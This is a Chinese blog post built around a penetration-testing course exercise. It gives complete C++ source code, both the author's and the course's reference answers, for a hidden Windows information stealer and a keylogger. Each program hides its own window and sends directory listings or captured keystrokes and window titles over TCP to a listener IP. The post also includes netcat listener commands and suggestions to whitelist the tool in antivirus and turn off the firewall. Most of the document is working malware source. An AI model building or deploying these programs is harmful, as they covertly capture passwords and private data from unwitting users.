C++-assisted exploitation

Posted by r3kind1e on October 18, 2021

C++ 辅助开发

设想

作为渗透测试人员,能够开发/编码自己的工具是一项很棒的技能。此技能将使您能够灵活应对常用工具之一出现故障。它还将帮助您了解攻击的基础。

您工作的公司的 IT 安全经理要求您创建两个基于 C++ 的信息窃取程序,以提高您的 C++ 技能。

目标

  • 开发一个简单的远程信息窃取器
  • 开发一个简单的键盘记录器,将任何记录的击键发送回渗透测试人员

你会学到什么

  • Windows 上的基本 C++ 功能
  • 使用 C++ 通过 TCP 发送数据

推荐工具

  • RDP(Windows 上的 mstsc 或 kali 上的 rdesktop)
  • Netcat

任务 1:创建一个窃取用户目录内容的简单程序

使用 C++ 编写一个程序,检查目标目录中存储了哪些文件和目录,并将它们的名称发送回渗透测试人员。

提示:

  • 您可能想要使用dirent C++ 库。

  • 对于此工具的网络功能,使用Winsock库并通过 TCP 发送数据会更简单。

  • 对于接收数据,您可以使用 netcatncat 之类的工具 - 不要自己编写。

  • 您可以将通过 RDP 连接的机器用作受害者机器。您不需要将创建的窃取程序发送到其他任何地方。

关于Winsock库的知识请参考:Winsock客户端和服务器代码,关于列出文件系统的文件的多种方式请参考:Linux下的dirent.h与C++17的std::filesystem命名空间

要在Windows下使用dirent.h,你需要:tronkko/dirent

我写的源码及用法

文件名:ls.cpp

用法:ls.exe server-name ["dirname1"] ["dirname2"] ... ["dirnamen"]

用法详解:

  • 当不传入任何命令参数时,程序会提示用户正确的用法。

    输入:ls.exe

    输出:usage: ls.exe server-name ["dirname1"]["dirname2"] ...["dirname n"]

  • 传入一个命令参数,为服务器的域名或者是IP地址。程序会将当前工作目录中的目录和文件的名字发送到服务器。

    输入:ls.exe 192.168.248.129,或者是ls.exe www.baidu.com

  • 传入两个命令参数,第一个为服务器的域名或者是IP地址,第二个为指定的目录(需要用双引号括起来)。

    输入:ls.exe 192.168.248.129 "C:\\Develop"

  • 传入多个命令参数,第一个为服务器的域名或者是IP地址,其它的为指定的目录(需要用双引号括起来),参数之间使用空格分隔。

    输入:ls.exe 192.168.248.129 "C:\\Develop" "C:\Ruby30-x64"

源码:以下代码在Visual Studio 2019 16.10 ,C++ 语言标准:预览-最新 C++ 工作草案中的功能(/std:c++latest)测试通过。因为使用了C++20的std::format。为了达到隐蔽性的目的,注释掉了所有的打印语句,并且利用ShowWindow()函数对目标隐藏窗口:ShowWindow(GetConsoleWindow(), SW_HIDE);

(优点:可以读取任意多个用户目录;进行错误检查;只需调用一次send,就可以将所有数据一次性发送;传输的数据格式直观;缺点:C++语言标准为最新,向下兼容性差)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#define WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS

#include <Windows.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <errno.h>
#include <locale.h>
#include <iostream>
#include <format>

// 需要与 Ws2_32.lib、Mswsock.lib 和 Advapi32.lib 链接
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Mswsock.lib")
#pragma comment(lib, "AdvApi32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "27015"	// 端口需要改成攻击者服务器监听的端口

std::string list_directory(const char* dirname);


int __cdecl main(int argc, char** argv)
{
	ShowWindow(GetConsoleWindow(), SW_HIDE);
	std::string sendbuf = "";
	char * uncheckdirname;
	
	/* 选择默认语言环境 */
	setlocale(LC_ALL, "LC_CTYPE=.utf8");

	// 验证参数,支持一次传入多个目录名,目录名需要用双引号括起来,参数之间以空格进行分隔
	if (argc < 2)
	{
		// printf("usage: %s server-name [\"dirname1\"][\"dirname2\"] ...[\"dirname n\"]\n", argv[0]);
		return 1;
	}

	/* 对于命令行中每个目录 */
	int i = 2;
	while (i < argc)
	{
		//TODO: 在这里加入对第二个之后的参数是否带有双引号的判断
		sendbuf += list_directory(argv[i]);
		i++;
	}

	/* 如果命令行上没有目录参数,则列出当前工作目录 */
	if (argc == 2)
	{
		sendbuf += list_directory(".");
	}

	
	WSADATA wsaData;
	SOCKET ConnectSocket = INVALID_SOCKET;
	struct addrinfo* result = NULL,
		* ptr = NULL,
		hints;
	char recvbuf[DEFAULT_BUFLEN];
	int iResult;
	int recvbuflen = DEFAULT_BUFLEN;


	// 初始化 Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0)
	{
		// printf("WSAStartup failed with error: %d\n", iResult);
		return 1;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	// 解析服务器地址和端口
	iResult = getaddrinfo(argv[1], DEFAULT_PORT, &hints, &result);
	if (iResult != 0)
	{
		// printf("getaddrinfo failed with error: %d\n", iResult);
		WSACleanup();
		return 1;
	}

	// 尝试连接地址直到成功
	for ( ptr = result; ptr != NULL; ptr=ptr->ai_next)
	{
		// 创建用于连接到服务器的 SOCKET
		ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
		if (ConnectSocket == INVALID_SOCKET)
		{
			// printf("socket failed with error: %ld\n", WSAGetLastError());
			WSACleanup();
			return 1;
		}

		// 连接到服务器
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (iResult == INVALID_SOCKET)
		{
			closesocket(ConnectSocket);
			ConnectSocket = INVALID_SOCKET;
			continue;
		}
		break;
	}

	freeaddrinfo(result);

	if (ConnectSocket == INVALID_SOCKET)
	{
		// printf("Unable to connect to server!\n");
		WSACleanup();
		return 1;
	}

	// 发送初始缓冲区
	
	iResult = send(ConnectSocket, sendbuf.c_str(), (int)strlen(sendbuf.c_str()), 0);
	if (iResult == SOCKET_ERROR)
	{
		// printf("send failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 1;
	}
	// printf("Bytes Sent: %ld\n", iResult);

	// 关闭连接,因为不会发送更多数据
	iResult = shutdown(ConnectSocket, SD_SEND);
	if (iResult == SOCKET_ERROR)
	{
		// printf("shutdown failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 1;
	}

	// 接收直到对等方关闭连接
	do
	{
		iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
		if (iResult > 0)
		{
			// printf("Bytes received: %d\n", iResult);
		}
		else if(iResult == 0){
			// printf("Connection closed\n");
		}
		else
		{
			// printf("recv failed with error: %d\n", iResult);
		}

	} while (iResult > 0);

	// 清理
	closesocket(ConnectSocket);
	WSACleanup();
	return EXIT_SUCCESS;
}


/* 列出目录中的文件和目录 */
std::string list_directory(const char* dirname)
{
	/* 打开目录流 */
	DIR* dir = opendir(dirname);
	if (!dir)
	{
		/* 无法打开目录 */
		return(std::format("Cannot open {} ({})\n", dirname, strerror(errno)));
		exit(EXIT_FAILURE);
	}

	/* 打印目录中的所有文件和目录 */
	struct dirent* ent;
	std::string dirsandfiles = "";	//目录中文件和目录名字的拼接字符串
	std::string dirinfo = "";	// 提示当前正在打印指定目录中的目录和文件名字
	while ((ent = readdir(dir)) != NULL)
	{
		switch (ent->d_type)
		{
		case DT_REG:
			dirsandfiles += std::format("{}\n", ent->d_name);
			break;
		case DT_DIR:
			dirsandfiles += std::format("{}\n", ent->d_name);
			break;
		case DT_LNK:
			dirsandfiles += std::format("{}@\n", ent->d_name);
			break;
		default:
			dirsandfiles += std::format("{}*\n", ent->d_name);
		}
	}
	closedir(dir);
	dirinfo = std::format("[The contents of directory '{}']\n", dirname);
	return std::format("{}{}\n", dirinfo, dirsandfiles);
}

官方给出的参考答案

官方给出的参考答案(缺点:只能读取用户目录;没有进行错误检查;每读取一个文件或目录的名字就要调用一次send;传输的数据格式不直观):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#define _WINSOCK_DEPRECATED_NO_WARNINGS /* we use winsock utilities and we do not want the compiler to complain about functionalities used, since the below code is sufficient for our needs */
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib") /* we need the Ws2_32.lib library in order to use sockets (networking) */

/* now comes headers which provide various utilities for our program: */

#include <iostream> // standard input/output utilities
#include <WinSock2.h> // networking utilities
#include <stdio.h> //standard input/output utilities
#include <stdlib.h> //standard input/output utilities
#include <dirent.h> //directory utilities
#include <string> //string utilities

/* 负责收集文件系统上当前用户目录的路径 */
char* userDirectory() /* 函数名前的 char* 意味着它将返回一个指向字符串的指针 */
{
	char* pPath; // 我们定义了一个 **pointer to char** 类型的变量并将其命名为 pPath;
	pPath = getenv("USERPROFILE"); /* 我们使用先前包含的头文件附带的函数 getenv 来了解用户的目录位置 - 在这种情况下,它保存在名为“userprofile”的 Windows 系统的环境变量中*/
	if (pPath != NULL ) // 检查检索到的路径是否不为空
	{
		return pPath; // 返回目录路径并退出函数
	}
	else
	{
		/* 如果路径为空,则意味着无法检索路径 */
		perror(""); // print the error and exit
	}

}

int main() //declaration of the main function
{
	ShowWindow(GetConsoleWindow(), SW_HIDE); // 不显示(隐藏)这个程序窗口
	WSADATA wsaData; /* 结构声明(结构是一种特定类型的变量)保存有关 Windows 套接字实现的信息 */
	SOCKET server; // 用于存储 SOCKET 类型的连接的变量
	SOCKADDR_IN addr; /* 保持连接细节的变量 - SOCKADDR_IN 类型(也是一个结构) */

	WSAStartup(MAKEWORD(2, 0), &wsaData); /* 初始化 winsock 库的使用(需要打开网络连接) */
	server = socket(AF_INET, SOCK_STREAM, 0); //设置 TCP 套接字
	addr.sin_addr.s_addr = inet_addr("192.168.248.129"); /* 指定网络连接的目标 - 将 ip 替换为您的侦听 ip 地址 */
	addr.sin_family = AF_INET; /*将地址族 (AF) 设置为 AF_INET - 此地址族包含用于通过 TCP 进行通信的 IPv4 地址*/
	addr.sin_port = htons(27015); //远程端口 - 将其更改为您的侦听端口
	connect(server, (SOCKADDR*)&addr, sizeof(addr)); /* 连接到先前设置的目标主机/端口 */
	/* 现在套接字及其传出网络 TCP 连接已建立;现在可以通过 TCP 发送数据。在这种情况下,服务器变量保存连接详细信息,因此将使用服务器变量进一步向该目标发送任何数据。 */

	char* pPath = userDirectory(); /* 声明了新的局部变量 pPath 并将用户目录分配给它(使用之前编写的函数 userDirectory()) */
	send(server, pPath, sizeof(pPath), 0); /* 路径在之前设置的ip地址和端口上发送到渗透测试器 */

	DIR* dir; // 名为 dir 的新变量:指向 DIR 类型的指针
	struct dirent* ent; // 名为 ent 的新变量:指向结构的指针
	if (( dir = opendir(pPath) ) != NULL) /* 如果在检索路径打开目录会带来任何结果 */
	{
		while (( ent = readdir(dir) ) != NULL) /* 迭代目录中的项目,只要有下一个项目: */
		{
			send(server, ent->d_name, sizeof(ent->d_name), 0); /* 将当前项目的名称(包含在用户路径中的文件或目录)发送给渗透测试人员 */
		}
		closedir(dir); //关闭读取的目录
	}
	else
	{
		perror(""); // 如果打开目录时出错,打印错误 - 如果它工作正常,可以从最终版本中删除,这样目标就不会看到打印的错误
	}

	closesocket(server); // close the socket;
	WSACleanup(); // 清理 Winsock 库组件
}

去除注释的官方参考答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string>

char* userDirectory()
{
	char* pPath;
	pPath = getenv("USERPROFILE");
	if (pPath != NULL)
	{
		return pPath;
	}
	else {
		perror("");
	}
}

int main()
{
	ShowWindow(GetConsoleWindow(), SW_HIDE);
	WSADATA wsaData;
	SOCKET server;
	SOCKADDR_IN addr;

	WSAStartup(MAKEWORD(2, 0), &wsaData);
	server = socket(AF_INET, SOCK_STREAM, 0);
	addr.sin_addr.s_addr = inet_addr("192.168.248.129");
	addr.sin_family = AF_INET;
	addr.sin_port = htons(27015);
	connect(server, (SOCKADDR*)&addr, sizeof(addr));

	char* pPath = userDirectory();
	send(server, pPath, sizeof(pPath), 0);

	DIR* dir;
	struct dirent* ent;
	if ((dir = opendir(pPath)) != NULL)
	{
		while ((ent = readdir(dir)) != NULL)
		{
			send(server, ent->d_name, sizeof(ent->d_name), 0);
		}
		closedir(dir);
	}
	else
	{
		perror("");
	}
	closesocket(server);
	WSACleanup();
}

在服务器上进行监听

Windows下的netcat:https://eternallybored.org/misc/netcat/,或者用kali自带的netcat。

解压存档(小心 Windows Defender 可能会抱怨这是一种病毒,因此建议至少将此文件作为 AV 的例外)。

1
2
nc.exe -lvp 27015 (或您在上述源码中指定的端口) <- For Windows
nc -lvp 27015 (或您在上述源码中指定的端口) <- For Linux

提示:如果您的程序未连接并且您使用的是 Windows,请检查防火墙设置。防火墙可能会阻止您,因此您可能需要在本练习中将其关闭。

任务 2:创建一个简单的键盘记录器,将所有收集到的信息发送回渗透测试人员

使用 C++ 编写一个隐蔽运行的程序,收集用户的击键并通过网络将它们发送回选择的地址。

提示

  • 您可能希望利用ShowWindow()函数对目标隐藏窗口。
  • 对于这个工具的联网能力,如果使用 TCP 连接会更简单。利用Winsock库。
  • 对于捕获键,您可能需要使用GetAsyncKeyState()函数。
  • 对于接收数据,您可以使用 netcat 或 ncat 之类的工具 - 不要自己编写。
  • 您可以将通过 RDP 连接的机器用作受害者机器。您不需要将创建的键盘记录程序发送到其他任何地方。

我写的源码及用法

文件名:keylog.cpp

用法:keylog.exe server-name

用法详解:

  • 当不传入任何命令参数时,程序会提示用户正确的用法。

    输入:keylog.exe

    输出:usage: keylog.exe server-name

  • 传入一个命令参数,为服务器的域名或者是IP地址。程序会将用户在正在使用的进程中的输入内容发送到服务器。

    输入:keylog.exe 192.168.248.129,或者是keylog.exe www.baidu.com

  • 在源码中,将默认端口修改为服务器监听的端口:

    1
    
    #define DEFAULT_PORT "27015"
    

    在服务器上进行监听

    1
    
    nc -lvp 27015
    
  • 在源码中,可以选择窗口为(可见/不可见)

    1
    
    #define visible // (visible / invisible)
    
  • 当服务器关闭监听的端口,客户端会看到如下提示:

    1
    2
    3
    
    [ERROR] send failed with error: 10053
      
    [WARING] The server has stopped listening on the port! The program will exit.
    

环境要求:以下代码在Visual Studio 2019 16.10 ,C++ 语言标准:默认(ISO C++14 标准)测试通过。

缺点:没有将WINSOCK功能进行单独封装。

参考:ShowWindow function (winuser.h)GetAsyncKeyState function (winuser.h)Windows 经典示例A simple keylogger for Windows, Linux and Mac

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
#define WIN32_LEAN_AND_MEAN


#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>


// Need to link with Ws2_32.lib, Mswsock.lib, and Advapi32.lib
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "27015"

#include <Windows.h>
#include <cstdio>
#include <fstream>
#include <iostream>
#include <sstream>
#include <time.h>
#include <map>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define visible // (visible / invisible)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
#define FORMAT 0
// defines if ignore mouseclicks
#define mouseignore
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.

#if FORMAT == 0
const std::map<int, std::string> keyname{
	{VK_BACK, "[BACKSPACE]" },
	{VK_RETURN,	"\n" },
	{VK_SPACE,	"_" },
	{VK_TAB,	"[TAB]" },
	{VK_SHIFT,	"[SHIFT]" },
	{VK_LSHIFT,	"[LSHIFT]" },
	{VK_RSHIFT,	"[RSHIFT]" },
	{VK_CONTROL,	"[CONTROL]" },
	{VK_LCONTROL,	"[LCONTROL]" },
	{VK_RCONTROL,	"[RCONTROL]" },
	{VK_MENU,	"[ALT]" },
	{VK_LWIN,	"[LWIN]" },
	{VK_RWIN,	"[RWIN]" },
	{VK_ESCAPE,	"[ESCAPE]" },
	{VK_END,	"[END]" },
	{VK_HOME,	"[HOME]" },
	{VK_LEFT,	"[LEFT]" },
	{VK_RIGHT,	"[RIGHT]" },
	{VK_UP,		"[UP]" },
	{VK_DOWN,	"[DOWN]" },
	{VK_PRIOR,	"[PG_UP]" },
	{VK_NEXT,	"[PG_DOWN]" },
	{VK_OEM_PERIOD,	"." },
	{VK_DECIMAL,	"." },
	{VK_OEM_PLUS,	"+" },
	{VK_OEM_MINUS,	"-" },
	{VK_ADD,		"+" },
	{VK_SUBTRACT,	"-" },
	{VK_CAPITAL,	"[CAPSLOCK]" },
};
#endif
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke);

WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
	* ptr = NULL,
	hints;
int iResult;

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode >= 0)
	{
		// the action is valid: HC_ACTION.
		if (wParam == WM_KEYDOWN)
		{
			// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
			kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);

			// send the content to the server
			Save(kbdStruct.vkCode);
		}
	}

	// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
	return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
	// Set the hook and set it to use the callback function above
	// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
	// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
	// function that sets and releases the hook.
	if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
	{
		LPCWSTR a = L"Failed to install hook!";
		LPCWSTR b = L"Error";
		MessageBox(NULL, a, b, MB_ICONERROR);
	}
}

void ReleaseHook()
{
	UnhookWindowsHookEx(_hook);
}


int Save(int key_stroke)
{
	std::stringstream output;
	static char lastwindow[256] = "";
#ifndef mouseignore 
	if ((key_stroke == 1) || (key_stroke == 2))
	{
		return 0; // ignore mouse clicks
	}
#endif
	HWND foreground = GetForegroundWindow();
	DWORD threadID;
	HKL layout = NULL;

	if (foreground)
	{
		// get keyboard layout of the thread
		threadID = GetWindowThreadProcessId(foreground, NULL);
		layout = GetKeyboardLayout(threadID);
	}

	if (foreground)
	{
		char window_title[256];
		GetWindowTextA(foreground, (LPSTR)window_title, 256);

		if (strcmp(window_title, lastwindow) != 0)
		{
			strcpy_s(lastwindow, sizeof(lastwindow), window_title);

			// get time
			time_t t = time(NULL);
			struct tm tm;
			localtime_s(&tm, &t);
			char s[64];
			strftime(s, sizeof(s), "%c", &tm);

			output << "\n\n[Window: " << window_title << " - at " << s << "] ";
		}
	}

#if FORMAT == 10
	output << '[' << key_stroke << ']';
#elif FORMAT == 16
	output << std::hex << "[" << key_stroke << ']';
#else
	if (keyname.find(key_stroke) != keyname.end())
	{
		output << keyname.at(key_stroke);
	}
	else
	{
		char key;
		// check caps lock
		bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

		// check shift key
		if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
			|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
		{
			lowercase = !lowercase;
		}

		// map virtual key according to keyboard layout
		key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);

		// tolower converts it to lowercase properly
		if (!lowercase)
		{
			key = tolower(key);
		}
		output << char(key);
	}
#endif
	// instead of opening and closing file handlers every time, keep file open and flush.

	std::cout << output.str();

	std::string sendbufstr = output.str();
	const char* sendbuf = sendbufstr.c_str();
	// Send an initial buffer
	iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
	if (iResult == SOCKET_ERROR) {
		printf("\n[ERROR] send failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		printf("\n[WARING] The server has stopped listening on the port! The program will exit.\n");
		exit(0);
	}
	// printf("\tBytes Sent: %ld\n", iResult);
	return 0;
}
void Stealth()
{
#ifdef visible
	ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif

#ifdef invisible
	ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
#endif
}


int __cdecl main(int argc, char** argv)
{
	// Validate the parameters
	if (argc != 2) {
		printf("usage: %s server-name\n", argv[0]);
		return 1;
	}

	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed with error: %d\n", iResult);
		return 1;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	// Resolve the server address and port
	iResult = getaddrinfo(argv[1], DEFAULT_PORT, &hints, &result);
	if (iResult != 0) {
		printf("getaddrinfo failed with error: %d\n", iResult);
		WSACleanup();
		return 1;
	}

	// Attempt to connect to an address until one succeeds
	for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

		// Create a SOCKET for connecting to server
		ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
			ptr->ai_protocol);
		if (ConnectSocket == INVALID_SOCKET) {
			printf("socket failed with error: %ld\n", WSAGetLastError());
			WSACleanup();
			return 1;
		}

		// Connect to server.
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (iResult == SOCKET_ERROR) {
			closesocket(ConnectSocket);
			ConnectSocket = INVALID_SOCKET;
			continue;
		}
		break;
	}

	freeaddrinfo(result);

	if (ConnectSocket == INVALID_SOCKET) {
		printf("Unable to connect to server!\n");
		WSACleanup();
		return 1;
	}

	// visibility of window
	Stealth();

	// set the hook
	SetHook();

	// loop to keep the console application running.
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
	}
}

官方给出的参考答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/* we use winsock utilities and we do not want the compiler to complain about older functionalities used since the below code is sufficient for our needs. */
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib") /* we need the library Ws2_32.lib library in order to use sockets (networking) */
#include <iostream> /* standard input/output utilities */
#include <WinSock2.h> //networking utilities
#include <stdio.h> //standard input/output utilities
#include <stdlib.h> // standard input/output utilities
#include <Windows.h> // Windows libraries

int main()
{
	ShowWindow(GetConsoleWindow(), SW_HIDE);  // do not show (hide) this program window
	char KEY; // declare a variable for single key, of type char
	WSADATA wsaData; /* declaration of Structure (structure is a specific type of variable) holding information about windows socket implementation */
	SOCKET server; //variable used to store the connection, of type SOCKET
	SOCKADDR_IN addr; /* variable holding connection details - of SOCKADDR_IN type (also a structure) */
	WSAStartup(MAKEWORD(2, 0), &wsaData); /* initialize usage of the winsock library (needed for opening a network connection) */
	server = socket(AF_INET, SOCK_STREAM, 0); //set up a TCP socket
	addr.sin_addr.s_addr = inet_addr("192.168.248.129");
	addr.sin_family = AF_INET; /* set address family (AF) to AF_INET - this address family contains the IPv4 addresses to be used to communicateover TCP */
	addr.sin_port = htons(27015);
	connect(server, (SOCKADDR*)&addr, sizeof(addr)); /* connect to the previously set up target host/port */

	// Next we write the code that will responsible for collecting the pressed keys
	while (true) // do this forever
	{
		Sleep(10); // pause (Sleep) for 10 miliseconds
		for (int KEY = 0x8; KEY < 0xFF; KEY++) /* check if this is a printable key (key code are defined by Microsoft) */
		{
			if (GetAsyncKeyState(KEY) == -32767) // if a key was pressed
			{
				char buffer[2]; // declare a variable that will hold the pressed key
				buffer[0] = KEY; // insert the key into the variable
				send(server, buffer, sizeof(buffer), 0); // send it over the network
			}
		}

	}
	closesocket(server);
	WSACleanup();

}

官方参考答案(去掉注释):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int main()
{
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY;

    WSADATA WSAData;
    SOCKET server;
    SOCKADDR_IN addr;

    WSAStartup(MAKEWORD(2, 0), &WSAData);
    server = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_addr.s_addr = inet_addr("192.168.0.29");
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5555);
    connect(server, (SOCKADDR *)&addr, sizeof(addr));

        while (true) {
        Sleep(10);
        for (int KEY = 0x8; KEY < 0xFF; KEY++)
        {
            if (GetAsyncKeyState(KEY) == -32767) {
                        char buffer[2];
                        buffer[0] = KEY;
                        send(server, buffer, sizeof(buffer), 0);
            }
        }
}
closesocket(server);
WSACleanup();
}

常见问题及解决方案

问题:std::string formatting like sprintf

解决方案:现代 C++ 使这变得非常简单。

C++20

C++20引入了std::format,它允许您做到这一点。它使用类似于python 中的替换字段:

1
2
3
4
5
6
#include <iostream>
#include <format>
 
int main() {
    std::cout << std::format("Hello {}!\n", "world");
}

查看编译器支持页面,看看它是否在您的标准库实现中可用。截至 2021 年 9 月 20 日,仅在2021-05-25发布的Visual Studio 2019 16.10 中提供全面支持。Clang 14有部分支持,在此处跟踪

问题:no suitable conversion from “std::string” to “char” exists

解决方案:您可以使用:

1
std::string::c_str()

它返回一个 const char *.

问题:convert a char* to std::string

问题:How do I check if a C++ std::string starts with a certain string, and convert a substring to an int?

问题:Determine if a string is a valid IPv4 address in CHow do you validate that a string is a valid IPv4 address in C++?。C++如何判断字符串为有效的IPv4地址。

问题:Don’t let std::stringstream.str().c_str() happen to you